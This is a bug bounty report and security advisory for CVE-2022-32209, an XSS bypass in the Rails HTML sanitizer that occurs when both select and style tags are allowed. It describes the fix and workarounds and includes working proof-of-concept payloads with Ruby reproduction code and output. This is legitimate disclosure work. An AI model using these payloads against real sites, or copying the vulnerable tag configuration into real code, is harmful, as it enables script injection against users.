Internet Bug Bounty · Report #1599573
Rails::Html::SafeListSanitizer vulnerable to xss attack in an environment that allows the style tag
Summary
[CVE-2022-32209] Possible XSS Vulnerability in Rails::Html::Sanitizer Security Announcements
There is a possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer. This vulnerability has been assigned the CVE identifier CVE-2022-32209.
Versions Affected: ALL Not affected: NONE Fixed Versions: v1.4.3
Impact A possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer may allow an attacker to inject content if the application developer has overridden the sanitizer’s allowed tags to allow both select and style elements.
Code is only impacted if allowed tags are being overridden. This may be done via application configuration:
In config/application.rb
config.action_view.sanitized_allowed_tags = ["select", "style"] see Configuring Rails Applications — Ruby on Rails Guides 1
Or it may be done with a :tags option to the Action View helper sanitize:
<%= sanitize @ comment.body, tags: ["select", "style"] %> see ActionView::Helpers::SanitizeHelper
Or it may be done with Rails::Html::SafeListSanitizer directly:
class-level option
Rails::Html::SafeListSanitizer.allowed_tags = ["select", "style"] or
instance-level option
Rails::Html::SafeListSanitizer.new.sanitize(@ article.body, tags: ["select", "style"]) All users overriding the allowed tags by any of the above mechanisms to include both “select” and “style” should either upgrade or use one of the workarounds immediately.
Releases The FIXED releases are available at the normal locations.
Workarounds Remove either select or style from the overridden allowed tags.
Credits This vulnerability was responsibly reported by windshock.
Security Advisory: https://discuss.rubyonrails.org/t/cve-2022-32209-possible-xss-vulnerability-in-rails-sanitizer/80800
How it was found
It seems to be a problem caused by a difference between the nokogiri java implementation and the ruby implementation.
jruby9.3.3.0 (nokogiri java), use Rails::Html::SafeListSanitizer.new.sanitize, allow select/style tag code
tags = %w(select style)
puts "------------------------------------------------------------------"
puts "use Rails::Html::SafeListSanitizer.new.sanitize, allow select/style tag"
puts "input: <select<style/>W<xmp<script>alert(1)</script>"
puts "output: "+Rails::Html::SafeListSanitizer.new.sanitize("<select<style/>W<xmp<script>alert(1)</script>", tags: tags).to_s
puts "------------------------------------------------------------------"
result
input: <select<style/>W<xmp<script>alert(1)</script>
scrub --> node type :Nokogiri::XML::Text, node name :text, node to_s :W
scrub --> node type :Nokogiri::XML::Text, node name :text, node to_s :<script>alert(1)</script>
scrub --> node type :Nokogiri::XML::Element, node name :xmp, node to_s :<xmp><script>alert(1)</script></xmp>
scrub --> node type :Nokogiri::XML::Element, node name :style, node to_s :<style>W<script>alert(1)</script></style>
scrub --> node type :Nokogiri::XML::Element, node name :select, node to_s :<select><style>W<script>alert(1)</script></style></select>
output: <select><style>W<script>alert(1)</script></style></select>
This is a problem for CRuby as well if you use straightforward HTML that doesn't depend on how the parser corrects broken markup.
frag = "<select><style><script>alert(1)</script></style></select>"
tags = %w(select style)
puts Rails::Html::SafeListSanitizer.new.sanitize(frag, tags: tags)
outputs
<select><style><script>alert(1)</script></style></select>
on both CRuby and JRuby.
Impact
It is possible to bypass Rails::Html::SafeListSanitizer filtering and perform an XSS attack.